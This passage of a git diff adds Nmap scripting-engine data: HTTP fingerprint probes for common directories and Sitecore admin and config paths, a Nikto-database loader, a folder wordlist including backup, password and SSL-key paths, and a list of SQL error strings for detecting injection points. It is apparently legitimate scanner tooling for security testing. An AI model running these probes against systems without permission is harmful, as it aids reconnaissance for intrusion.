+ method = 'GET'
+ },
+ {
+ path = '/sitemgr/',
+ method = 'GET'
+ },
+ {
+ path = '/siteminderagent/',
+ method = 'GET'
+ },
+ {
+ path = '/siteminder/',
+ method = 'GET'
+ },
+ {
+ path = '/siteserver/',
+ method = 'GET'
+ },
+ {
+ path = '/sites/',
+ method = 'GET'
+ },
+ {
+ path = '/sitestats/',
+ method = 'GET'
+ },
+ {
+ path = '/siteupdate/',
+ method = 'GET'
+ },
+ {
+ path = '/smreports/',
+ method = 'GET'
+ },
+ {
+ path = '/smreportsviewer/',
+ method = 'GET'
+ },
+ {
+ path = '/soapdocs/',
+ method = 'GET'
+ },
+ {
+ path = '/soap/',
+ method = 'GET'
+ },
+ {
+ path = '/software/',
+ method = 'GET'
+ },
+ {
+ path = '/solaris/',
+ method = 'GET'
+ },
+ {
+ path = '/source/',
+ method = 'GET'
+ },
+ {
+ path = '/sql/',
+ method = 'GET'
+ },
+ {
+ path = '/squid/',
+ method = 'GET'
+ },
+ {
+ path = '/src/',
+ method = 'GET'
+ },
+ {
+ path = '/srchadm/',
+ method = 'GET'
+ },
+ {
+ path = '/ssi/',
+ method = 'GET'
+ },
+ {
+ path = '/ssl/',
+ method = 'GET'
+ },
+ {
+ path = '/sslkeys/',
+ method = 'GET'
+ },
+ {
+ path = '/staff/',
+ method = 'GET'
+ },
+ {
+ path = '/state/',
+ method = 'GET'
+ },
+ {
+ path = '/stat/',
+ method = 'GET'
+ },
+ {
+ path = '/statistic/',
+ method = 'GET'
+ },
+ {
+ path = '/statistics/',
+ method = 'GET'
+ },
+ {
+ path = '/stats-bin-p/',
+ method = 'GET'
+ },
+ {
+ path = '/stats/',
+ method = 'GET'
+ },
+ {
+ path = '/stats_old/',
+ method = 'GET'
+ },
+ {
+ path = '/status/',
+ method = 'GET'
+ },
+ {
+ path = '/storage/',
+ method = 'GET'
+ },
+ {
+ path = '/StoreDB/',
+ method = 'GET'
+ },
+ {
+ path = '/store/',
+ method = 'GET'
+ },
+ {
+ path = '/storemgr/',
+ method = 'GET'
+ },
+ {
+ path = '/stronghold-info/',
+ method = 'GET'
+ },
+ {
+ path = '/stronghold-status/',
+ method = 'GET'
+ },
+ {
+ path = '/stuff/',
+ method = 'GET'
+ },
+ {
+ path = '/style/',
+ method = 'GET'
+ },
+ {
+ path = '/styles/',
+ method = 'GET'
+ },
+ {
+ path = '/stylesheet/',
+ method = 'GET'
+ },
+ {
+ path = '/stylesheets/',
+ method = 'GET'
+ },
+ {
+ path = '/subir/',
+ method = 'GET'
+ },
+ {
+ path = '/sun/',
+ method = 'GET'
+ },
+ {
+ path = '/super_stats/',
+ method = 'GET'
+ },
+ {
+ path = '/supplier/',
+ method = 'GET'
+ },
+ {
+ path = '/suppliers/',
+ method = 'GET'
+ },
+ {
+ path = '/supply/',
+ method = 'GET'
+ },
+ {
+ path = '/supporter/',
+ method = 'GET'
+ },
+ {
+ path = '/support/',
+ method = 'GET'
+ },
+ {
+ path = '/sysadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/sysbackup/',
+ method = 'GET'
+ },
+ {
+ path = '/sys/',
+ method = 'GET'
+ },
+ {
+ path = '/system/',
+ method = 'GET'
+ },
+ {
+ path = '/systems/',
+ method = 'GET'
+ },
+ {
+ path = '/tar/',
+ method = 'GET'
+ },
+ {
+ path = '/target/',
+ method = 'GET'
+ },
+ {
+ path = '/tarjetas/',
+ method = 'GET'
+ },
+ {
+ path = '/tech/',
+ method = 'GET'
+ },
+ {
+ path = '/technote/',
+ method = 'GET'
+ },
+ {
+ path = '/te_html/',
+ method = 'GET'
+ },
+ {
+ path = '/temp/',
+ method = 'GET'
+ },
+ {
+ path = '/template/',
+ method = 'GET'
+ },
+ {
+ path = '/templates/',
+ method = 'GET'
+ },
+ {
+ path = '/temporal/',
+ method = 'GET'
+ },
+ {
+ path = '/test-cgi/',
+ method = 'GET'
+ },
+ {
+ path = '/testing/',
+ method = 'GET'
+ },
+ {
+ path = '/tests/',
+ method = 'GET'
+ },
+ {
+ path = '/testweb/',
+ method = 'GET'
+ },
+ {
+ path = '/themes/',
+ method = 'GET'
+ },
+ {
+ path = '/ticket/',
+ method = 'GET'
+ },
+ {
+ path = '/tickets/',
+ method = 'GET'
+ },
+ {
+ path = '/tip/',
+ method = 'GET'
+ },
+ {
+ path = '/tips/',
+ method = 'GET'
+ },
+ {
+ path = '/tmp/',
+ method = 'GET'
+ },
+ {
+ path = '/ToDo/',
+ method = 'GET'
+ },
+ {
+ path = '/tool/',
+ method = 'GET'
+ },
+ {
+ path = '/tools/',
+ method = 'GET'
+ },
+ {
+ path = '/TopAccess/',
+ method = 'GET'
+ },
+ {
+ path = '/top/',
+ method = 'GET'
+ },
+ {
+ path = '/tpv/',
+ method = 'GET'
+ },
+ {
+ path = '/trabajo/',
+ method = 'GET'
+ },
+ {
+ path = '/track/',
+ method = 'GET'
+ },
+ {
+ path = '/tracking/',
+ method = 'GET'
+ },
+ {
+ path = '/transfer/',
+ method = 'GET'
+ },
+ {
+ path = '/transito/',
+ method = 'GET'
+ },
+ {
+ path = '/transpolar/',
+ method = 'GET'
+ },
+ {
+ path = '/tree/',
+ method = 'GET'
+ },
+ {
+ path = '/trees/',
+ method = 'GET'
+ },
+ {
+ path = '/trick/',
+ method = 'GET'
+ },
+ {
+ path = '/tricks/',
+ method = 'GET'
+ },
+ {
+ path = '/u02/',
+ method = 'GET'
+ },
+ {
+ path = '/unix/',
+ method = 'GET'
+ },
+ {
+ path = '/unknown/',
+ method = 'GET'
+ },
+ {
+ path = '/updates/',
+ method = 'GET'
+ },
+ {
+ path = '/upload/',
+ method = 'GET'
+ },
+ {
+ path = '/uploads/',
+ method = 'GET'
+ },
+ {
+ path = '/usage/',
+ method = 'GET'
+ },
+ {
+ path = '/userdb/',
+ method = 'GET'
+ },
+ {
+ path = '/user/',
+ method = 'GET'
+ },
+ {
+ path = '/users/',
+ method = 'GET'
+ },
+ {
+ path = '/us/',
+ method = 'GET'
+ },
+ {
+ path = '/usr/',
+ method = 'GET'
+ },
+ {
+ path = '/ustats/',
+ method = 'GET'
+ },
+ {
+ path = '/usuario/',
+ method = 'GET'
+ },
+ {
+ path = '/usuarios/',
+ method = 'GET'
+ },
+ {
+ path = '/util/',
+ method = 'GET'
+ },
+ {
+ path = '/utils/',
+ method = 'GET'
+ },
+ {
+ path = '/vendor/',
+ method = 'GET'
+ },
+ {
+ path = '/vfs/',
+ method = 'GET'
+ },
+ {
+ path = '/view/',
+ method = 'GET'
+ },
+ {
+ path = '/vpn/',
+ method = 'GET'
+ },
+ {
+ path = '/vti_txt/',
+ method = 'GET'
+ },
+ {
+ path = '/w2000/',
+ method = 'GET'
+ },
+ {
+ path = '/w2k/',
+ method = 'GET'
+ },
+ {
+ path = '/w3perl/',
+ method = 'GET'
+ },
+ {
+ path = '/w-agora/',
+ method = 'GET'
+ },
+ {
+ path = '/way-board/',
+ method = 'GET'
+ },
+ {
+ path = '/web800fo/',
+ method = 'GET'
+ },
+ {
+ path = '/webaccess/',
+ method = 'GET'
+ },
+ {
+ path = '/webadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/webAdmin/',
+ method = 'GET'
+ },
+ {
+ path = '/webalizer/',
+ method = 'GET'
+ },
+ {
+ path = '/webapps/',
+ method = 'GET'
+ },
+ {
+ path = '/WebBank/',
+ method = 'GET'
+ },
+ {
+ path = '/webboard/',
+ method = 'GET'
+ },
+ {
+ path = '/WebCalendar/',
+ method = 'GET'
+ },
+ {
+ path = '/webcart/',
+ method = 'GET'
+ },
+ {
+ path = '/webcart-lite/',
+ method = 'GET'
+ },
+ {
+ path = '/webcgi/',
+ method = 'GET'
+ },
+ {
+ path = '/webdata/',
+ method = 'GET'
+ },
+ {
+ path = '/webdav/',
+ method = 'GET'
+ },
+ {
+ path = '/webdb/',
+ method = 'GET'
+ },
+ {
+ path = '/webDB/',
+ method = 'GET'
+ },
+ {
+ path = '/web/',
+ method = 'GET'
+ },
+ {
+ path = '/webimages2/',
+ method = 'GET'
+ },
+ {
+ path = '/webimages/',
+ method = 'GET'
+ },
+ {
+ path = '/web-inf/',
+ method = 'GET'
+ },
+ {
+ path = '/webmaster/',
+ method = 'GET'
+ },
+ {
+ path = '/webmaster_logs/',
+ method = 'GET'
+ },
+ {
+ path = '/webMathematica/',
+ method = 'GET'
+ },
+ {
+ path = '/webpub/',
+ method = 'GET'
+ },
+ {
+ path = '/webpub-ui/',
+ method = 'GET'
+ },
+ {
+ path = '/webreports/',
+ method = 'GET'
+ },
+ {
+ path = '/webreps/',
+ method = 'GET'
+ },
+ {
+ path = '/webshare/',
+ method = 'GET'
+ },
+ {
+ path = '/WebShop/',
+ method = 'GET'
+ },
+ {
+ path = '/website/',
+ method = 'GET'
+ },
+ {
+ path = '/webstat/',
+ method = 'GET'
+ },
+ {
+ path = '/webstats/',
+ method = 'GET'
+ },
+ {
+ path = '/Web_store/',
+ method = 'GET'
+ },
+ {
+ path = '/webtrace/',
+ method = 'GET'
+ },
+ {
+ path = '/WebTrend/',
+ method = 'GET'
+ },
+ {
+ path = '/webtrends/',
+ method = 'GET'
+ },
+ {
+ path = '/web_usage/',
+ method = 'GET'
+ },
+ {
+ path = '/win2k/',
+ method = 'GET'
+ },
+ {
+ path = '/window/',
+ method = 'GET'
+ },
+ {
+ path = '/windows/',
+ method = 'GET'
+ },
+ {
+ path = '/win/',
+ method = 'GET'
+ },
+ {
+ path = '/winnt/',
+ method = 'GET'
+ },
+ {
+ path = '/word/',
+ method = 'GET'
+ },
+ {
+ path = '/work/',
+ method = 'GET'
+ },
+ {
+ path = '/world/',
+ method = 'GET'
+ },
+ {
+ path = '/wsdocs/',
+ method = 'GET'
+ },
+ {
+ path = '/WS_FTP/',
+ method = 'GET'
+ },
+ {
+ path = '/wstats/',
+ method = 'GET'
+ },
+ {
+ path = '/wusage/',
+ method = 'GET'
+ },
+ {
+ path = '/www0/',
+ method = 'GET'
+ },
+ {
+ path = '/www2/',
+ method = 'GET'
+ },
+ {
+ path = '/www3/',
+ method = 'GET'
+ },
+ {
+ path = '/www4/',
+ method = 'GET'
+ },
+ {
+ path = '/www/',
+ method = 'GET'
+ },
+ {
+ path = '/wwwjoin/',
+ method = 'GET'
+ },
+ {
+ path = '/wwwrooot/',
+ method = 'GET'
+ },
+ {
+ path = '/www-sql/',
+ method = 'GET'
+ },
+ {
+ path = '/wwwstat/',
+ method = 'GET'
+ },
+ {
+ path = '/wwwstats/',
+ method = 'GET'
+ },
+ {
+ path = '/xGB/',
+ method = 'GET'
+ },
+ {
+ path = '/xml/',
+ method = 'GET'
+ },
+ {
+ path = '/XSL/',
+ method = 'GET'
+ },
+ {
+ path = '/xtemp/',
+ method = 'GET'
+ },
+ {
+ path = '/xymon/',
+ method = 'GET'
+ },
+ {
+ path = '/zb41/',
+ method = 'GET'
+ },
+ {
+ path = '/zipfiles/',
+ method = 'GET'
+ },
+ {
+ path = '/zip/',
+ method = 'GET'
+ },
+ {
+ path = '/_docs/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<title>Index of .*(Apache.*) Server at',
+ output = 'Potentially interesting directory w/ listing on \'\\1\''
+ },
+ {
+ match = '<title>Index of',
+ output = 'Potentially interesting folder w/ directory listing'
+ },
+ {
+ match = '',
+ output = 'Potentially interesting folder'
+ }
+ }
+ });
+
+-- Sitecore Version
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/sitecore/shell/sitecore.version.xml',
+ method = 'GET'
+ },
+ {
+ path = '/sitecore/login/default.aspx',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<major>([^<]*)</major>.*<minor>([^<]*)</minor>.*<build>([^<]*)</build>.*<revision>([^<]*)</revision>',
+ output = '\\1.\\2.\\3 (rev. \\4)'
+ },
+ {
+ match = 'class="SystemInformationDivider">.*Sitecore.NET ([^<]*)</div>',
+ output = '\\1'
+ },
+ {
+ match = '<hr/>.*Sitecore version ([^<]*)</div>',
+ output = '\\1'
+ },
+ {
+ match = '',
+ output = 'Sitecore.NET login page'
+ }
+ }
+ });
+
+-- Sitecore
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/sitecore/admin/stats.aspx', -- Removed in version 6.3.1 (rev. 110112)
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore/admin/unlock_admin.aspx', -- disabled per default in 6.2.0 (rev.100507)
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore/shell/Applications/shell.xml',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore/admin/ShowConfig.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/App_Config/Security/Domains.config.xml',
+ method = 'HEAD'
+ },
+ {
+ path = '/App_Config/Security/GlobalRoles.config.xml',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore%20modules/staging/service/api.asmx',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore%20modules/staging/workdir',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore/system/Settings/Security/Profiles',
+ method = 'HEAD'
+ },
+
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Sitecore.NET (CMS)'
+ }
+ },
+ });
+
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+
+nikto_db_path = stdnse.get_script_args("http-fingerprints.nikto-db-path") or "db_tests"
+nikto_db_path = nmap.fetchfile(nikto_db_path) or nikto_db_path
+local f = io.open(nikto_db_path, "r")
+
+if f then
+
+ f:close()
+ stdnse.debug1("Found nikto db.")
+
+ local nikto_db = {}
+ for l in io.lines(nikto_db_path) do
+
+ -- Skip comments.
+ if not string.match(l, "^#.*") then
+
+ record = {}
+
+ for field in string.gmatch(l, "\"(.-)\",") do
+
+ -- Grab every attribute and create a record.
+ if field then
+ string.gsub(field, '%%', '%%%%')
+ table.insert(record, field)
+ end
+ end
+
+ -- Make sure this record doesn't exists already.
+ local exists = false
+ for _, f in pairs(fingerprints) do
+ if f.probes then
+ for __, p in pairs(f.probes) do
+ if p.path then
+ if p.path == record[4] then
+ exists = true
+ break
+ end
+ end
+ end
+ end
+ end
+
+ -- What we have right now, is the following record:
+ -- record[1]: Nikto test ID
+ -- record[2]: OSVDB-ID
+ -- record[3]: Server Type
+ -- record[4]: URI
+ -- record[5]: HTTP Method
+ -- record[6]: Match 1
+ -- record[7]: Match 1 (Or)
+ -- record[8]: Match1 (And)
+ -- record[9]: Fail 1
+ -- record[10]: Fail 2
+ -- record[11]: Summary
+ -- record[12]: HTTP Data
+ -- record[13]: Headers
+
+ -- Is this a valid record? Atm, with our current format we need
+ -- to skip some nikto records. See NSEDoc for more info.
+
+ if not exists
+ and record[4]
+ and record[8] == "" and record[10] == "" and record[12] == ""
+ and (tonumber(record[4]) == nil or (tonumber(record[4]) and record[4] == "200")) then
+
+ -- Our current format does not support HTTP code matching.
+ if record[6] == "200" then record[6] = "" end
+
+ nikto_fingerprint = { category = "nikto",
+ probes = {
+ {
+ path = record[4],
+ method = record[5]
+ }
+ },
+ matches = {
+ {
+ dontmatch = record[9],
+ match = record[6],
+ output = record[11]
+ },
+ },
+ }
+
+ -- If there is a second match, add it.
+ if record[7] and record[7] ~= "" then
+ table.insert(nikto_fingerprint.matches, { match = record[7], output = record[11] })
+ end
+
+ table.insert(fingerprints, nikto_fingerprint)
+
+ end
+ end
+end
+end
diff --git a/nselib/data/http-folders.txt b/nselib/data/http-folders.txt
new file mode 100644
index 0000000..4e207b1
--- /dev/null
+++ b/nselib/data/http-folders.txt
@@ -0,0 +1,910 @@
+/.git/
+/.htaccess/
+/1/
+/2/
+/3/
+/4/
+/5/
+/6/
+/7/
+/8/
+/9/
+/10/
+/a/
+/acceso/
+/access/
+/accesswatch/
+/acciones/
+/account/
+/accounting/
+/active/
+/activex/
+/adm/
+/admcgi/
+/admentor/
+/admin/
+/admin_/
+/admin.back/
+/admin-bak/
+/Admin_files/
+/administration/
+/administrator/
+/admin-old/
+/adminuser/
+/adminweb/
+/adminWeb/
+/admisapi/
+/AdvWebAdmin/
+/Agent/
+/agentes/
+/Agents/
+/Album/
+/AlbumArt/
+/AlbumArt_/
+/allow/
+/analog/
+/anthill/
+/apache/
+/apache2/
+/app/
+/appl/
+/applets/
+/application/
+/applications/
+/applmgr/
+/apply/
+/apps/
+/appsec/
+/ar/
+/archive/
+/archives/
+/arcsight/
+/asa/
+/asp/
+/atc/
+/atom/
+/aut/
+/auth/
+/authadmin/
+/author/
+/authors/
+/aw/
+/ayuda/
+/b/
+/b2-include/
+/back/
+/backend/
+/backup/
+/backups/
+/bad/
+/bak/
+/banca/
+/banco/
+/bank/
+/banner/
+/banner01/
+/banners/
+/bar/
+/batch/
+/bb-dnbd/
+/bbv/
+/bdata/
+/bdatos/
+/beef/
+/beta/
+/billpay/
+/bin/
+/binaries/
+/binary/
+/blog/
+/boadmin/
+/boot/
+/bottom/
+/browse/
+/browser/
+/bsd/
+/btauxdir/
+/bug/
+/bugs/
+/bugzilla/
+/buy/
+/buynow/
+/c/
+/cache/
+/cached/
+/cache-stats/
+/caja/
+/card/
+/cards/
+/cart/
+/cash/
+/caspsamp/
+/catalog/
+/category/
+/cbi-bin/
+/ccard/
+/ccards/
+/cd/
+/cd-cgi/
+/cdrom/
+/ce_html/
+/cert/
+/certificado/
+/certificate/
+/cfappman/
+/cfdocs/
+/cfide/
+/cgi/
+/cgi-914/
+/cgi-915/
+/cgi-auth/
+/cgibin/
+/cgi-bin/
+/cgi-bin2/
+/cgi.cgi/
+/cgi-csc/
+/cgi-exe/
+/cgi-home/
+/cgilib/
+/cgi-lib/
+/cgi-local/
+/cgi-perl/
+/cgis/
+/cgiscripts/
+/cgi-scripts/
+/cgi-shl/
+/cgi-shop/
+/cgi-sys/
+/cgi-weddico/
+/cgiwin/
+/cgi-win/
+/Citrix/
+/class/
+/classes/
+/client/
+/cliente/
+/clientes/
+/clients/
+/cm/
+/cmsample/
+/cobalt-images/
+/code/
+/com/
+/comments/
+/common/
+/communicator/
+/comp/
+/company/
+/components/
+/compra/
+/compras/
+/compressed/
+/conecta/
+/conf/
+/config/
+/configs/
+/configure/
+/connect/
+/console/
+/contact/
+/contacts/
+/contactUs/
+/content/
+/content.ie5/
+/controlpanel/
+/core/
+/corp/
+/correo/
+/counter/
+/credit/
+/cron/
+/crons/
+/crypto/
+/CS/
+/csr/
+/css/
+/cuenta/
+/cuentas/
+/currency/
+/cust/
+/custom/
+/customer/
+/customers/
+/CVS/
+/cvsweb/
+/cybercash/
+/d/
+/darkportal/
+/dat/
+/data/
+/database/
+/databases/
+/datafiles/
+/dato/
+/datos/
+/db/
+/dbase/
+/dcforum/
+/ddreport/
+/ddrint/
+/debug/
+/debugs/
+/default/
+/delete/
+/deleted/
+/demo/
+/demoauct/
+/demomall/
+/demos/
+/demouser/
+/deny/
+/derived/
+/design/
+/dev/
+/devel/
+/development/
+/dir/
+/directories/
+/directory/
+/directorymanager/
+/dl/
+/dm/
+/DMR/
+/dms/
+/dms0/
+/dmsdump/
+/dnn/
+/doc/
+/doc1/
+/doc-html/
+/docs/
+/docs1/
+/DocuColor/
+/document/
+/documentation/
+/documents/
+/dotnetnuke/
+/down/
+/download/
+/downloads/
+/dump/
+/durep/
+/e/
+/easylog/
+/eforum/
+/ejemplo/
+/ejemplos/
+/email/
+/emailclass/
+/employees/
+/empoyees/
+/empris/
+/enter/
+/envia/
+/enviamail/
+/error/
+/errors/
+/es/
+/estmt/
+/etc/
+/etcpasswd/
+/example/
+/examples/
+/exc/
+/excel/
+/exchange/
+/exchweb/
+/exe/
+/exec/
+/exit/
+/export/
+/external/
+/extranet/
+/f/
+/failure/
+/fbsd/
+/fcgi/
+/fcgi-bin/
+/features/
+/file/
+/fileadmin/
+/filemanager/
+/files/
+/find/
+/flash/
+/foldoc/
+/foo/
+/foobar/
+/form/
+/forms/
+/formsmgr/
+/form-totaller/
+/forum/
+/forums/
+/foto/
+/fotos/
+/fpadmin/
+/fpclass/
+/fpdb/
+/fpe/
+/fpsample/
+/frames/
+/framesets/
+/frontpage/
+/ftp/
+/ftproot/
+/fun/
+/func/
+/function/
+/functions/
+/g/
+/general/
+/gfx/
+/gif/
+/gifs/
+/global/
+/globals/
+/good/
+/graphics/
+/grocery/
+/guest/
+/guestbook/
+/guests/
+/GXApp/
+/h/
+/HB/
+/HBTemplates/
+/help/
+/helpdesk/
+/hidden/
+/hide/
+/hitmatic/
+/hit_tracker/
+/hlstats/
+/home/
+/host/
+/hosted/
+/hosting/
+/hostingcontroller/
+/hp/
+/ht/
+/htbin/
+/htdocs/
+/htm/
+/html/
+/http/
+/https/
+/hyperstat/
+/I/
+/i18n/
+/ibank/
+/ibill/
+/IBMWebAS/
+/icons/
+/idea/
+/ideas/
+/iisadmin/
+/iissamples/
+/image/
+/imagenes/
+/imagery/
+/Images/
+/images/
+/img/
+/imp/
+/import/
+/impreso/
+/in/
+/inc/
+/include/
+/includes/
+/incoming/
+/index/
+/inet/
+/inf/
+/info/
+/information/
+/ingresa/
+/ingreso/
+/install/
+/internal/
+/internet/
+/intranet/
+/inventory/
+/invitado/
+/isapi/
+/j/
+/j2ee/
+/j2eeexamples/
+/j2eeexamplesjsp/
+/japidoc/
+/java/
+/javascript/
+/javasdk/
+/javatest/
+/jave/
+/JBookIt/
+/jdbc/
+/job/
+/jrun/
+/js/
+/jsa/
+/jscript/
+/jserv/
+/jslib/
+/jsp/
+/junk/
+/k/
+/keygen/
+/kiva/
+/known/
+/l/
+/labs/
+/lcgi/
+/lib/
+/libraries/
+/library/
+/libro/
+/license/
+/licenses/
+/links/
+/linux/
+/loader/
+/local/
+/location/
+/locations/
+/log/
+/logfile/
+/logfiles/
+/logg/
+/logger/
+/logging/
+/login/
+/logo/
+/logos/
+/logon/
+/logout/
+/logs/
+/lost+found/
+/m/
+/mail/
+/mail_log_files/
+/mailman/
+/mailroot/
+/makefile/
+/mall_log_files/
+/man/
+/manage/
+/management/
+/manager/
+/manual/
+/map/
+/maps/
+/marketing/
+/media/
+/mediawiki/
+/mem/
+/member/
+/members/
+/mem_bin/
+/message/
+/messaging/
+/metacart/
+/microsoft/
+/misc/
+/mkstats/
+/mod/
+/module/
+/modules/
+/movimientos/
+/mpcgi/
+/mqseries/
+/ms/
+/msfpe/
+/msql/
+/Msword/
+/mxhtml/
+/mxportal/
+/my/
+/My Shared Folder/
+/mysql/
+/mysql_admin/
+/n/
+/name/
+/names/
+/ncadmin/
+/nchelp/
+/ncsample/
+/net/
+/netbasic/
+/netcat/
+/NetDynamic/
+/NetDynamics/
+/netmagstats/
+/netscape/
+/netshare/
+/nettracker/
+/network/
+/new/
+/news/
+/News/
+/nextgeneration/
+/nl/
+/notes/
+/noticias/
+/NSearch/
+/o/
+/objects/
+/odbc/
+/officescan/
+/ojspdemos/
+/old/
+/oldfiles/
+/old_files/
+/oprocmgr-service/
+/oprocmgr-status/
+/oracle/
+/oradata/
+/order/
+/orders/
+/os/
+/out/
+/outgoing/
+/owa/
+/owners/
+/ows-bin/
+/p/
+/page/
+/pages/
+/_pages/
+/partner/
+/partners/
+/passport/
+/password/
+/passwords/
+/path/
+/payment/
+/payments/
+/pccsmysqladm/
+/PDG_Cart/
+/perl/
+/perl5/
+/personal/
+/pforum/
+/phorum/
+/php/
+/phpBB/
+/php_classes/
+/phpclassifieds/
+/phpimageview/
+/phpmyadmin/
+/phpMyAdmin/
+/phpnuke/
+/phpPhotoAlbum/
+/phpprojekt/
+/phpSecurePages/
+/pics/
+/pictures/
+/pike/
+/piranha/
+/pls/
+/plsql/
+/plssample/
+/plssampleadmin/
+/plssampleadmin_/
+/plssampleadmin_help/
+/poll/
+/polls/
+/porn/
+/portal/
+/portals/
+/postgres/
+/postnuke/
+/ppwb/
+/printer/
+/printers/
+/priv/
+/privacy/
+/privado/
+/private/
+/_private/
+/proc/
+/prod/
+/projectserver/
+/protected/
+/proxy/
+/prueba/
+/pruebas/
+/prv/
+/pub/
+/public/
+/_public/
+/publica/
+/publicar/
+/publico/
+/publish/
+/purchase/
+/purchases/
+/pw/
+/python/
+/q/
+/r/
+/random_banner/
+/rdp/
+/Readme/
+/recycler/
+/register/
+/registered/
+/registry/
+/remote/
+/remove/
+/report/
+/reports/
+/reseller/
+/restricted/
+/retail/
+/reveal/
+/reviews/
+/ROADS/
+/robot/
+/robots/
+/root/
+/rsrc/
+/rss/
+/ruby/
+/s/
+/sales/
+/sample/
+/samples/
+/save/
+/script/
+/ScriptLibrary/
+/scripts/
+/search/
+/search-ui/
+/sec/
+/secret/
+/secure/
+/secured/
+/security/
+/sell/
+/server/
+/server-info/
+/servers/
+/serverstats/
+/server_stats/
+/server-status/
+/service/
+/services/
+/servicio/
+/servicios/
+/servlet/
+/servlets/
+/session/
+/setup/
+/share/
+/shared/
+/sharedtemplates/
+/shell-cgi/
+/shipping/
+/shop/
+/shopper/
+/show/
+/SilverStream/
+/site/
+/siteadmin/
+/sitemgr/
+/siteminder/
+/siteminderagent/
+/sites/
+/siteserver/
+/sitestats/
+/siteupdate/
+/smreports/
+/smreportsviewer/
+/soap/
+/soapdocs/
+/software/
+/solaris/
+/source/
+/spam/
+/sql/
+/squid/
+/src/
+/srchadm/
+/ssi/
+/ssl/
+/sslkeys/
+/staff/
+/stat/
+/state/
+/statistic/
+/statistics/
+/stats/
+/stats-bin-p/
+/stats_old/
+/status/
+/storage/
+/store/
+/StoreDB/
+/storemgr/
+/stronghold-info/
+/stronghold-status/
+/stuff/
+/style/
+/styles/
+/stylesheet/
+/stylesheets/
+/subir/
+/sun/
+/super_stats/
+/supplier/
+/suppliers/
+/supply/
+/support/
+/supporter/
+/.svn/
+/sys/
+/sysadmin/
+/sysbackup/
+/system/
+/systems/
+/t/
+/tar/
+/target/
+/tarjetas/
+/tech/
+/technote/
+/te_html/
+/temp/
+/template/
+/templates/
+/temporal/
+/test/
+/test-cgi/
+/testing/
+/tests/
+/testweb/
+/themes/
+/ticket/
+/tickets/
+/tip/
+/tips/
+/tmp/
+/ToDo/
+/tool/
+/tools/
+/top/
+/TopAccess/
+/tpv/
+/trabajo/
+/track/
+/tracking/
+/transfer/
+/transito/
+/transpolar/
+/tree/
+/trees/
+/trick/
+/tricks/
+/u/
+/u02/
+/ui/
+/unix/
+/unknown/
+/updates/
+/upload/
+/uploads/
+/us/
+/usage/
+/user/
+/userdb/
+/users/
+/usr/
+/ustats/
+/usuario/
+/usuarios/
+/util/
+/utils/
+/v/
+/vendor/
+/vfs/
+/view/
+/vmware/
+/vpn/
+/_vti_bin/
+/vti_bin/
+/vti_bot/
+/_vti_cnf/
+/_vti_log/
+/vti_log/
+/_vti_pvt/
+/vti_pvt/
+/vti_shm/
+/_vti_txt/
+/vti_txt/
+/w/
+/w2000/
+/w2k/
+/w3perl/
+/w-agora/
+/way-board/
+/web/
+/web800fo/
+/webaccess/
+/webadmin/
+/webAdmin/
+/webalizer/
+/webapps/
+/WebBank/
+/webboard/
+/WebCalendar/
+/webcart/
+/webcart-lite/
+/webcgi/
+/webdata/
+/webdav/
+/webdb/
+/webDB/
+/webimages/
+/webimages2/
+/web-inf/
+/weblog/
+/weblogs/
+/webmail/
+/webmaster/
+/webmaster_logs/
+/webMathematica/
+/webpub/
+/webpub-ui/
+/webreports/
+/webreps/
+/webservices/
+/webshare/
+/WebShop/
+/website/
+/webstat/
+/webstats/
+/Web_store/
+/webtrace/
+/WebTrend/
+/webtrends/
+/web_usage/
+/wiki/
+/win/
+/win2k/
+/window/
+/windows/
+/winnt/
+/word/
+/wordpress/
+/work/
+/world/
+/wp-admin/
+/wp-login/
+/wsdocs/
+/WS_FTP/
+/wstats/
+/wusage/
+/www/
+/www0/
+/www2/
+/www3/
+/www4/
+/wwwjoin/
+/wwwlog/
+/wwwrooot/
+/www-sql/
+/wwwstat/
+/wwwstats/
+/x/
+/xGB/
+/xml/
+/XSL/
+/xtemp/
+/xymon/
+/y/
+/z/
+/zb41/
+/zip/
+/zipfiles/
diff --git a/nselib/data/http-sql-errors.lst b/nselib/data/http-sql-errors.lst
new file mode 100644
index 0000000..e1e555d
--- /dev/null
+++ b/nselib/data/http-sql-errors.lst
@@ -0,0 +1,112 @@
+# this list is taken from http://code.google.com/p/fuzzdb/ as allowed by its New BSD license
+# some entries have been deleted because they caused a lot of false positives
+A syntax error has occurred
+ADODB%.Field error
+ASP%.NET is configured to show verbose error messages
+ASP%.NET_SessionId
+Active Server Pages error
+An error occured
+An illegal character has been found in the statement
+An unexpected token \"END%-OF%-STATEMENT\" was found
+CLI Driver
+Call to member function
+Can\'t connect to local
+Custom Error Message
+DB2 Driver
+DB2 Error
+DB2 ODBC
+Died at
+Disallowed Parent Path
+Error Diagnostic Information
+Error Message : Error loading required libraries
+Error Report
+Error converting data type varchar to numeric
+Error executing Database Query
+Fatal error
+Incorrect syntax near
+Internal Server Error
+Invalid Path Character
+Invalid procedure call or argument
+Invision Power Board Database Error
+JDBC Driver
+JDBC Error
+JDBC MySQL
+JDBC Oracle
+JDBC SQL
+Microsoft JET Database
+Microsoft OLE DB Provider for Oracle
+Microsoft OLE DB Provider for ODBC Drivers
+Microsoft OLE DB Provider for SQL Server
+Microsoft SQL Native Client error
+Microsoft VBScript compilation error
+Microsoft VBScript error
+MySQL Driver
+MySQL Error
+MySQL ODBC
+ODBC DB2
+ODBC Driver
+ODBC Error
+ODBC Microsoft Access
+ODBC Oracle
+ODBC SQL
+ODBC SQL Server
+OLE/DB provider returned message
+ORA%-0
+ORA%-1
+Oracle DB2
+Oracle Driver
+Oracle Error
+Oracle ODBC
+PHP Error
+PHP Parse error
+PHP Warning
+Parent Directory
+Permission denied: \'GetObject\'
+PostgreSQL query failed: ERROR: parser: parse error
